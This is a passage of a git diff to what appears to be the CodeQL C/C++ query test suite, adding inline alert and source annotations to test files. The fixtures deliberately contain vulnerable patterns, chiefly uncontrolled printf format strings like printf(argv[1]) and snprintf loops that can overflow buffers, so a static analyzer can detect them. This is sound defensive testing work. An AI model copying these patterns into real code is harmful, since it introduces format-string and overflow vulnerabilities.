Bugs/ContinueInFalseLoop/test.cpp @@ -10,7 +10,7 @@ void test1(int x) do { if (cond()) - continue; // BAD + continue; // BAD // $ Alert if (cond()) break; } while (false); @@ -56,7 +56,7 @@ void test1(int x) do { if (cond()) - continue; // BAD + continue; // BAD // $ Alert if (cond()) break; } while (false); diff --git a/cpp/ql/test/query-tests/Likely Bugs/Conversion/ArrayArgSizeMismatch/ArrayArgSizeMismatch.qlref b/cpp/ql/test/query-tests/Likely Bugs/Conversion/ArrayArgSizeMismatch/ArrayArgSizeMismatch.qlref index 2e2747737a9b..2e410dcc8c8c 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Conversion/ArrayArgSizeMismatch/ArrayArgSizeMismatch.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Conversion/ArrayArgSizeMismatch/ArrayArgSizeMismatch.qlref @@ -1 +1,2 @@ -Likely Bugs/Conversion/ArrayArgSizeMismatch.ql +query: Likely Bugs/Conversion/ArrayArgSizeMismatch.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Conversion/ArrayArgSizeMismatch/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Conversion/ArrayArgSizeMismatch/test.cpp index 52b8f41bf22b..122d6b3a6cca 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Conversion/ArrayArgSizeMismatch/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Conversion/ArrayArgSizeMismatch/test.cpp @@ -21,7 +21,7 @@ void test(float f3[3], float f4[4], float f5[5], float *fp) f(arr3); // GOOD f(arr4); // GOOD f(arr5); // GOOD - g(arr3); // BAD + g(arr3); // BAD // $ Alert g(arr4); // GOOD g(arr5); // GOOD diff --git a/cpp/ql/test/query-tests/Likely Bugs/Conversion/CastArrayPointerArithmetic/CastArrayPointerArithmetic.qlref b/cpp/ql/test/query-tests/Likely Bugs/Conversion/CastArrayPointerArithmetic/CastArrayPointerArithmetic.qlref index 4e95e41b5cb9..dc496d3c7c6a 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Conversion/CastArrayPointerArithmetic/CastArrayPointerArithmetic.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Conversion/CastArrayPointerArithmetic/CastArrayPointerArithmetic.qlref @@ -1 +1,2 @@ -Likely Bugs/Conversion/CastArrayPointerArithmetic.ql +query: Likely Bugs/Conversion/CastArrayPointerArithmetic.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Conversion/CastArrayPointerArithmetic/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Conversion/CastArrayPointerArithmetic/test.cpp index fce974f6012f..95d6200f11e6 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Conversion/CastArrayPointerArithmetic/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Conversion/CastArrayPointerArithmetic/test.cpp @@ -24,15 +24,15 @@ class DerivedSameSize: public Base { }; void dereference_base(Base *b) { - b[2].x; + b[2].x; // $ Alert } void dereference_array_base(Base b[]) { - b[2].x; + b[2].x; // $ Alert } void pointer_arith_base(Base *b) { - b + 2; + b + 2; // $ Alert } void dereference_derived(Derived *d) { @@ -54,9 +54,9 @@ void char_pointer_arith(Base *b) { void test () { Derived d[4]; - dereference_base(d); // BAD: implicit conversion to Base* - dereference_array_base(d); // BAD: implicit conversion to Base* - pointer_arith_base(d); // BAD: implicit conversion to Base* + dereference_base(d); // BAD: implicit conversion to Base* // $ Source + dereference_array_base(d); // BAD: implicit conversion to Base* // $ Source + pointer_arith_base(d); // BAD: implicit conversion to Base* // $ Source dereference_derived(d); // GOOD: implicit conversion to Derived*, which will be the right size dereference_array_derived(d); // GOOD: implicit conversion to Derived*, which will be the right size @@ -71,9 +71,9 @@ void test () { DerivedSameSize dss[4]; - dereference_base(dss); // BAD: same size on Linux but different on Windows - dereference_array_base(dss); // BAD: same size on Linux but different on Windows - pointer_arith_base(dss); // BAD: same size on Linux but different on Windows + dereference_base(dss); // BAD: same size on Linux but different on Windows // $ Source + dereference_array_base(dss); // BAD: same size on Linux but different on Windows // $ Source + pointer_arith_base(dss); // BAD: same size on Linux but different on Windows // $ Source DerivedNoField dnf[4]; @@ -83,9 +83,9 @@ void test () { Derived2 d2[4]; - dereference_base(d2); // BAD: implicit conversion to Base* - dereference_array_base(d2); // BAD: implicit conversion to Base* - pointer_arith_base(d2); // BAD: implicit conversion to Base* + dereference_base(d2); // BAD: implicit conversion to Base* // $ Source + dereference_array_base(d2); // BAD: implicit conversion to Base* // $ Source + pointer_arith_base(d2); // BAD: implicit conversion to Base* // $ Source dereference_derived(d2); // GOOD: implicit conversion to Derived*, which will be the right size dereference_array_derived(d2); // GOOD: implicit conversion to Derived*, which will be the right size diff --git a/cpp/ql/test/query-tests/Likely Bugs/Conversion/ImplicitDowncastFromBitfield/ImplicitDowncastFromBitfield.qlref b/cpp/ql/test/query-tests/Likely Bugs/Conversion/ImplicitDowncastFromBitfield/ImplicitDowncastFromBitfield.qlref index ff7d11977d9c..7ae992bd7520 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Conversion/ImplicitDowncastFromBitfield/ImplicitDowncastFromBitfield.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Conversion/ImplicitDowncastFromBitfield/ImplicitDowncastFromBitfield.qlref @@ -1 +1,2 @@ -Likely Bugs/Conversion/ImplicitDowncastFromBitfield.ql +query: Likely Bugs/Conversion/ImplicitDowncastFromBitfield.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Conversion/ImplicitDowncastFromBitfield/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Conversion/ImplicitDowncastFromBitfield/test.cpp index 3bcb6afe4b4c..0cef06d32e23 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Conversion/ImplicitDowncastFromBitfield/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Conversion/ImplicitDowncastFromBitfield/test.cpp @@ -7,7 +7,7 @@ int getX1(my_struct m) { } short getX2(my_struct m) { - return m.x; // BAD + return m.x; // BAD // $ Alert } short getX3(my_struct m) { @@ -23,7 +23,7 @@ short getX5(my_struct m) { } const char& getx6(my_struct& m) { - const char& result = m.x; // BAD + const char& result = m.x; // BAD // $ Alert return result; } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Conversion/LossyFunctionResultCast/LossyFunctionResultCast.qlref b/cpp/ql/test/query-tests/Likely Bugs/Conversion/LossyFunctionResultCast/LossyFunctionResultCast.qlref index cb6a31a262e3..a1dd642e7985 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Conversion/LossyFunctionResultCast/LossyFunctionResultCast.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Conversion/LossyFunctionResultCast/LossyFunctionResultCast.qlref @@ -1 +1,2 @@ -Likely Bugs/Conversion/LossyFunctionResultCast.ql +query: Likely Bugs/Conversion/LossyFunctionResultCast.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Conversion/LossyFunctionResultCast/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Conversion/LossyFunctionResultCast/test.cpp index 552f3eecc39c..d12fe7910493 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Conversion/LossyFunctionResultCast/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Conversion/LossyFunctionResultCast/test.cpp @@ -30,19 +30,19 @@ void test1() setPosInt(getInt()); setPosFloat(getInt()); } - if (getFloat()) // BAD + if (getFloat()) // BAD // $ Alert { - setPosInt(getFloat()); // BAD + setPosInt(getFloat()); // BAD // $ Alert setPosFloat(getFloat()); } - if (getDouble()) // BAD + if (getDouble()) // BAD // $ Alert { - setPosInt(getDouble()); // BAD + setPosInt(getDouble()); // BAD // $ Alert setPosFloat(getDouble()); } - if (getMyLD()) // BAD + if (getMyLD()) // BAD // $ Alert { - setPosInt(getMyLD()); // BAD + setPosInt(getMyLD()); // BAD // $ Alert setPosFloat(getMyLD()); } if (getFloatPtr()) @@ -98,11 +98,11 @@ int test2(double v, double w, int n) case 2: return pow(10, v); // GOOD case 3: - return pow(2.5, v); // BAD + return pow(2.5, v); // BAD // $ Alert case 4: - return pow(v, 2); // BAD + return pow(v, 2); // BAD // $ Alert case 5: - return pow(v, w); // BAD + return pow(v, w); // BAD // $ Alert }; } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/NonConstantFormat.c b/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/NonConstantFormat.c index d7b60aebe88a..8ff9ddbf3768 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/NonConstantFormat.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/NonConstantFormat.c @@ -25,9 +25,9 @@ extern char *any_random_function(const char *); #define NULL ((void*)0) #define _(X) gettext(X) -int main(int argc, char **argv) { +int main(int argc, char **argv) { // $ Source if(argc > 1) - printf(argv[1]); // BAD + printf(argv[1]); // BAD // $ Alert else printf("No argument supplied.\n"); // GOOD @@ -38,11 +38,11 @@ int main(int argc, char **argv) { printf(ngettext("One argument\n", "%d arguments\n", argc-1), argc-1); // GOOD printf(gettext("%d arguments\n"), argc-1); // GOOD - printf(any_random_function("%d arguments\n"), argc-1); // BAD + printf(any_random_function("%d arguments\n"), argc-1); // BAD // $ Alert - printf(_(any_random_function("%d arguments\n")), argc-1); // BAD + printf(_(any_random_function("%d arguments\n")), argc-1); // BAD // $ Alert return 0; } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/NonConstantFormat.qlref b/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/NonConstantFormat.qlref index ef8de5d288ac..cb71273232ca 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/NonConstantFormat.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/NonConstantFormat.qlref @@ -1 +1,2 @@ -Likely Bugs/Format/NonConstantFormat.ql +query: Likely Bugs/Format/NonConstantFormat.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/nested.cpp b/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/nested.cpp index 1c3d2513da54..d77fa253d7e4 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/nested.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/nested.cpp @@ -18,7 +18,7 @@ extern "C" int snprintf ( char * s, int n, const char * format, ... ); struct A { void do_print(const char *fmt0) { char buf[32]; - snprintf(buf, 32, fmt0); // BAD, all paths from unknown const char*, not assuming literal + snprintf(buf, 32, fmt0); // BAD, all paths from unknown const char*, not assuming literal // $ Alert } }; @@ -39,7 +39,7 @@ struct C { void foo(void) { C c; - c.do_some_printing(c.ext_fmt_str()); + c.do_some_printing(c.ext_fmt_str()); // $ Source } struct some_class { @@ -76,15 +76,15 @@ void diagnostic(const char *fmt, ...) } void bar(void) { - diagnostic (some_instance->get_fmt()); // BAD const char* but not assuming literal + diagnostic (some_instance->get_fmt()); // BAD const char* but not assuming literal // $ Alert } namespace ns { class blab { void out1(void) { - char *fmt = (char *)__builtin_alloca(10); - diagnostic(fmt); // BAD + char *fmt = (char *)__builtin_alloca(10); // $ Source + diagnostic(fmt); // BAD // $ Alert } }; } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/test.cpp index e60db94f9b1c..26cc4808022a 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/NonConstantFormat/test.cpp @@ -43,7 +43,7 @@ const char *const_wash(char *str) { return str; } -int main(int argc, char **argv) { +int main(int argc, char **argv) { // $ Source const char *message = messages[2]; printf(choose_message(argc - 1), argc - 1); // GOOD printf(messages[1]); // GOOD @@ -127,7 +127,7 @@ int main(int argc, char **argv) { char buffer[1024]; MYSPRINTF(buffer, "constant"); // GOOD - MYSPRINTF(buffer, argv[0]); // BAD + MYSPRINTF(buffer, argv[0]); // BAD // $ Alert } } @@ -164,10 +164,10 @@ void fmt_with_assignment() { printf(y); // GOOD } -void fmt_via_strcpy_bad(char *data) { +void fmt_via_strcpy_bad(char *data) { // $ Source char res[100]; strcpy(res, data); - printf(res); // BAD + printf(res); // BAD // $ Alert } @@ -190,61 +190,61 @@ void wchar_t_test_good(){ wprintf(wstr); // GOOD } -void wchar_t_test_bad(wchar_t* str){ +void wchar_t_test_bad(wchar_t* str){ // $ Source wchar_t wstr[100]; - StringCchPrintfW(wstr, 100, str); // BAD + StringCchPrintfW(wstr, 100, str); // BAD // $ Alert - wprintf(wstr); // BAD + wprintf(wstr); // BAD // $ Alert } char* get_string(); void pointer_arithmetic_test_on_bad_string(){ { - const char *hello = get_string(); - printf(hello + 1); // BAD - printf(hello); // BAD + const char *hello = get_string(); // $ Source + printf(hello + 1); // BAD // $ Alert + printf(hello); // BAD // $ Alert } { - const char *hello = get_string(); + const char *hello = get_string(); // $ Source hello += 1; - printf(hello); // BAD + printf(hello); // BAD // $ Alert } { // Same as above block but using "x = x + 1" syntax - const char *hello = get_string(); + const char *hello = get_string(); // $ Source hello = hello + 1; - printf(hello); // BAD + printf(hello); // BAD // $ Alert } { // Same as above block but using "x++" syntax - const char *hello = get_string(); + const char *hello = get_string(); // $ Source hello++; - printf(hello); // BAD + printf(hello); // BAD // $ Alert } { // Same as above block but using "++x" as subexpression - const char *hello = get_string(); - printf(++hello); // BAD + const char *hello = get_string(); // $ Source + printf(++hello); // BAD // $ Alert } { // Same as above block but through a pointer - const char *hello = get_string(); + const char *hello = get_string(); // $ Source const char **p = &hello; (*p)++; - printf(hello); // BAD + printf(hello); // BAD // $ Alert } { // Same as above block but through a C++ reference - const char *hello = get_string(); + const char *hello = get_string(); // $ Source const char *&p = hello; p++; - printf(hello); // BAD + printf(hello); // BAD // $ Alert } { - const char *hello = get_string(); + const char *hello = get_string(); // $ Source const char *const *p = &hello; - printf(hello); // BAD + printf(hello); // BAD // $ Alert } } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/SnprintfOverflow/SnprintfOverflow.qlref b/cpp/ql/test/query-tests/Likely Bugs/Format/SnprintfOverflow/SnprintfOverflow.qlref index 1c3184fc6a78..0cda33d916ec 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/SnprintfOverflow/SnprintfOverflow.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/SnprintfOverflow/SnprintfOverflow.qlref @@ -1 +1,2 @@ -Likely Bugs/Format/SnprintfOverflow.ql +query: Likely Bugs/Format/SnprintfOverflow.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/SnprintfOverflow/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Format/SnprintfOverflow/test.cpp index d2785d845b99..5dd172d81c38 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/SnprintfOverflow/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/SnprintfOverflow/test.cpp @@ -22,7 +22,7 @@ void test1(queue &numbers) while (numbers.has_number()) { - pos += snprintf(&(buffer[pos]), 100 - pos, "%i, ", numbers.get_number()); // BAD + pos += snprintf(&(buffer[pos]), 100 - pos, "%i, ", numbers.get_number()); // BAD // $ Alert } } @@ -59,7 +59,7 @@ void test4(queue &numbers) while (numbers.has_number()) { - amount = snprintf(ptr, remaining, "%i, ", numbers.get_number()); // BAD + amount = snprintf(ptr, remaining, "%i, ", numbers.get_number()); // BAD // $ Alert ptr += amount; remaining -= amount; } @@ -73,7 +73,7 @@ void test5(queue &numbers) while (numbers.has_number()) { - ptr += snprintf(ptr, end - ptr, "%i, ", numbers.get_number()); // BAD + ptr += snprintf(ptr, end - ptr, "%i, ", numbers.get_number()); // BAD // $ Alert } } @@ -97,7 +97,7 @@ void test7(const char *strings) // separated by \0, terminated by \0\0 while (*strings != 0) { - pos += snprintf_s(buffer + pos, sizeof(buffer) - pos, "%s\n", strings); // BAD + pos += snprintf_s(buffer + pos, sizeof(buffer) - pos, "%s\n", strings); // BAD // $ Alert // (note that the protections built into `snprintf_s` appear to mean this is less likely // to be exploitable than with `snprintf`) strings += strlen(strings) + 1; diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/TooManyFormatArguments.qlref b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/TooManyFormatArguments.qlref index 131a39abcf7e..56274d702c0d 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/TooManyFormatArguments.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/TooManyFormatArguments.qlref @@ -1 +1,2 @@ -Likely Bugs/Format/TooManyFormatArguments.ql +query: Likely Bugs/Format/TooManyFormatArguments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/WrongNumberOfFormatArguments.qlref b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/WrongNumberOfFormatArguments.qlref index d5e2e86d6e6a..38acf3d83087 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/WrongNumberOfFormatArguments.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/WrongNumberOfFormatArguments.qlref @@ -1 +1,2 @@ -Likely Bugs/Format/WrongNumberOfFormatArguments.ql +query: Likely Bugs/Format/WrongNumberOfFormatArguments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/a.c b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/a.c index ec28ef511449..3e7eb8c547dd 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/a.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/a.c @@ -13,9 +13,9 @@ void myMultiplyDefinedPrintf3(const char *extraArg, const char *format, ...); void test_custom_printf1() { - myMultiplyDefinedPrintf("%i", 0); // BAD (too few format arguments) + myMultiplyDefinedPrintf("%i", 0); // BAD (too few format arguments) // $ Alert[cpp/wrong-number-format-arguments] myMultiplyDefinedPrintf("%i", 0, 1); // GOOD - myMultiplyDefinedPrintf("%i", 0, 1, 2); // BAD (too many format arguments) + myMultiplyDefinedPrintf("%i", 0, 1, 2); // BAD (too many format arguments) // $ Alert[cpp/too-many-format-arguments] myMultiplyDefinedPrintf2("%i", 0); // GOOD (we can't tell which definition is correct so we have to assume this is OK) myMultiplyDefinedPrintf2("%i", 0, 1); // GOOD (we can't tell which definition is correct so we have to assume this is OK) myMultiplyDefinedPrintf2("%i", 0, 1, 2); // BAD (too many format arguments regardless of which definition is correct) [NOT DETECTED] diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/b.c b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/b.c index da7f09123af7..ce70464e24d3 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/b.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/b.c @@ -10,9 +10,9 @@ void myMultiplyDefinedPrintf3(const char *format, ...); void test_custom_printf2() { - myMultiplyDefinedPrintf("%i", 0); // BAD (too few format arguments) + myMultiplyDefinedPrintf("%i", 0); // BAD (too few format arguments) // $ Alert[cpp/wrong-number-format-arguments] myMultiplyDefinedPrintf("%i", 0, 1); // GOOD - myMultiplyDefinedPrintf("%i", 0, 1, 2); // BAD (too many format arguments) + myMultiplyDefinedPrintf("%i", 0, 1, 2); // BAD (too many format arguments) // $ Alert[cpp/too-many-format-arguments] myMultiplyDefinedPrintf2("%i", 0); // GOOD (we can't tell which definition is correct so we have to assume this is OK) myMultiplyDefinedPrintf2("%i", 0, 1); // GOOD (we can't tell which definition is correct so we have to assume this is OK) myMultiplyDefinedPrintf2("%i", 0, 1, 2); // BAD (too many format arguments regardless of which definition is correct) [NOT DETECTED] diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/c.c b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/c.c index 74183c2374f4..5066d606d3f5 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/c.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/c.c @@ -2,9 +2,9 @@ void test_custom_printf2() { // (implicitly defined) - myMultiplyDefinedPrintf("%i", 0); // BAD (too few format arguments) + myMultiplyDefinedPrintf("%i", 0); // BAD (too few format arguments) // $ Alert[cpp/wrong-number-format-arguments] myMultiplyDefinedPrintf("%i", 0, 1); // GOOD - myMultiplyDefinedPrintf("%i", 0, 1, 2); // BAD (too many format arguments) + myMultiplyDefinedPrintf("%i", 0, 1, 2); // BAD (too many format arguments) // $ Alert[cpp/too-many-format-arguments] myMultiplyDefinedPrintf2("%i", 0); // GOOD (we can't tell which definition is correct so we have to assume this is OK) myMultiplyDefinedPrintf2("%i", 0, 1); // GOOD (we can't tell which definition is correct so we have to assume this is OK) myMultiplyDefinedPrintf2("%i", 0, 1, 2); // BAD (too many format arguments regardless of which definition is correct) [NOT DETECTED] diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/custom_printf.cpp b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/custom_printf.cpp index 9c04f7a00490..cf2655400fd6 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/custom_printf.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/custom_printf.cpp @@ -26,9 +26,9 @@ void test_custom_printf() { myClass mc; - mc.myPrintf("%i%i", 1); // BAD (too few format arguments) + mc.myPrintf("%i%i", 1); // BAD (too few format arguments) // $ Alert[cpp/wrong-number-format-arguments] mc.myPrintf("%i%i", 1, 2); // GOOD - mc.myPrintf("%i%i", 1, 2, 3); // BAD (too many format arguments) + mc.myPrintf("%i%i", 1, 2, 3); // BAD (too many format arguments) // $ Alert[cpp/too-many-format-arguments] mc.myPrintf(NULL, 1, 2, 3); // GOOD (should not be analyzed) } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/macros.cpp b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/macros.cpp index 4d8257b776b2..e94c4b18caf3 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/macros.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/macros.cpp @@ -9,16 +9,16 @@ extern int printf(const char *fmt, ...); void testMacros(int a, int b, int c) { - GOODPRINTF("%i %i\n", a, b, 0); // BAD: too many format arguments + GOODPRINTF("%i %i\n", a, b, 0); // BAD: too many format arguments // $ Alert[cpp/too-many-format-arguments] GOODPRINTF("%i %i %i\n", a, b, c); // GOOD - GOODPRINTF("%i %i %i %i\n", a, b, c); // BAD: too few format arguments + GOODPRINTF("%i %i %i %i\n", a, b, c); // BAD: too few format arguments // $ Alert[cpp/wrong-number-format-arguments] - BADPRINTF("%i %i\n", a, b, 0); // DUBIOUS: too many format arguments + BADPRINTF("%i %i\n", a, b, 0); // DUBIOUS: too many format arguments // $ Alert[cpp/too-many-format-arguments] // ^ here there are too many format arguments, but the design of the Macro forces the user // to do this, and the extra argument is harmlessly ignored in practice. Reporting these // results can be extremely noisy (e.g. in openldap). BADPRINTF("%i %i %i\n", a, b, c); // GOOD - BADPRINTF("%i %i %i %i\n", a, b, c); // BAD: too few format arguments + BADPRINTF("%i %i %i %i\n", a, b, c); // BAD: too few format arguments // $ Alert[cpp/wrong-number-format-arguments] } #define DOTHING(x) \ @@ -29,5 +29,5 @@ void testMacros2() int x; DOTHING(x++); // GOOD - DOTHING(printf("%i", x)); // BAD: the printf inside the macro has too few format arguments + DOTHING(printf("%i", x)); // BAD: the printf inside the macro has too few format arguments // $ Alert[cpp/wrong-number-format-arguments] } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/syntax_errors.c b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/syntax_errors.c index d10d1025b8f0..df4cd972f502 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/syntax_errors.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/syntax_errors.c @@ -12,7 +12,7 @@ void test_syntax_error() { (UNDEFINED_MACRO)2); // GOOD [FALSE POSITIVE] - printf("%d%d" + printf("%d%d" // $ Alert[cpp/wrong-number-format-arguments] UNDEFINED_MACRO, 1, 2); } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/test.c b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/test.c index 0079d0f0d21b..9da418751bc7 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/test.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/test.c @@ -4,41 +4,41 @@ extern int printf(const char *fmt, ...); void test(int i, const char *str) { printf("\n"); // GOOD - printf("\n", i); // BAD (too many format arguments) + printf("\n", i); // BAD (too many format arguments) // $ Alert[cpp/too-many-format-arguments] - printf("%i\n"); // BAD (too few format arguments) + printf("%i\n"); // BAD (too few format arguments) // $ Alert[cpp/wrong-number-format-arguments] printf("%i\n", i); // GOOD - printf("%*s\n", str); // BAD (too few format arguments) + printf("%*s\n", str); // BAD (too few format arguments) // $ Alert[cpp/wrong-number-format-arguments] printf("%*s\n", i, str); // GOOD - printf("%i %i %i\n", 1, 2); // BAD (too few format arguments) + printf("%i %i %i\n", 1, 2); // BAD (too few format arguments) // $ Alert[cpp/wrong-number-format-arguments] printf("%i %i %i\n", 1, 2, 3); // GOOD // indexed format arguments - printf("%2$i \n", 1); // BAD (too few format arguments) + printf("%2$i \n", 1); // BAD (too few format arguments) // $ Alert[cpp/wrong-number-format-arguments] printf("%2$i \n", 1, 2); // GOOD - printf("%2$i \n", 1, 2, 3); // BAD (too many format arguments) + printf("%2$i \n", 1, 2, 3); // BAD (too many format arguments) // $ Alert[cpp/too-many-format-arguments] printf("%2$i %2$i %2$i \n", 1, 2); // GOOD printf("%2$02i %1$4.2f \n", 3.3333f, 6); // GOOD { int width, num; - printf("%2$*1$d", 0, width, num); // BAD (too many format arguments) + printf("%2$*1$d", 0, width, num); // BAD (too many format arguments) // $ Alert[cpp/too-many-format-arguments] printf("%2$*1$d", width, num); // GOOD - printf("%2$*1$d", width); // BAD (too few format arguments) + printf("%2$*1$d", width); // BAD (too few format arguments) // $ Alert[cpp/wrong-number-format-arguments] - printf("%1$*2$d", 0, num, width); // BAD (too many format arguments) [INCORRECT MESSAGE] - printf("%1$*2$d", num, width); // GOOD [FALSE POSITIVE] + printf("%1$*2$d", 0, num, width); // BAD (too many format arguments) [INCORRECT MESSAGE] // $ Alert[cpp/too-many-format-arguments] + printf("%1$*2$d", num, width); // GOOD [FALSE POSITIVE] // $ Alert[cpp/too-many-format-arguments] printf("%1$*2$d", width); // BAD (too few format arguments) [NOT DETECTED] } { int precision; float num; - printf("%2$.*4$f", 0, 0, num, 0, precision); // BAD (too many format arguments) [INCORRECT MESSAGE] - printf("%2$.*4$f", 0, num, 0, precision); // GOOD [FALSE POSITIVE] - printf("%2$.*4$f", num, 0, precision); // BAD (too few format arguments) [INCORRECT MESSAGE] + printf("%2$.*4$f", 0, 0, num, 0, precision); // BAD (too many format arguments) [INCORRECT MESSAGE] // $ Alert[cpp/too-many-format-arguments] + printf("%2$.*4$f", 0, num, 0, precision); // GOOD [FALSE POSITIVE] // $ Alert[cpp/too-many-format-arguments] + printf("%2$.*4$f", num, 0, precision); // BAD (too few format arguments) [INCORRECT MESSAGE] // $ Alert[cpp/too-many-format-arguments] } printf("%@ %i %i", 1, 2); // GOOD @@ -50,7 +50,7 @@ void test(int i, const char *str) // Implicit logger function declaration my_logger(0, "%i %i %i %i %i %i\n", 1, 2, 3, 4, 5, 6); // GOOD my_logger(0, "%i %i %i\n", 1, 2, 3); // GOOD - my_logger(0, "%i %i %i\n", 1, 2); // BAD (too few format arguments) + my_logger(0, "%i %i %i\n", 1, 2); // BAD (too few format arguments) // $ Alert[cpp/wrong-number-format-arguments] } // A spurious definition of my_logger diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Buildless/WrongTypeFormatArguments.qlref b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Buildless/WrongTypeFormatArguments.qlref index 6f557ace55a5..370dae334d68 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Buildless/WrongTypeFormatArguments.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Buildless/WrongTypeFormatArguments.qlref @@ -1 +1,2 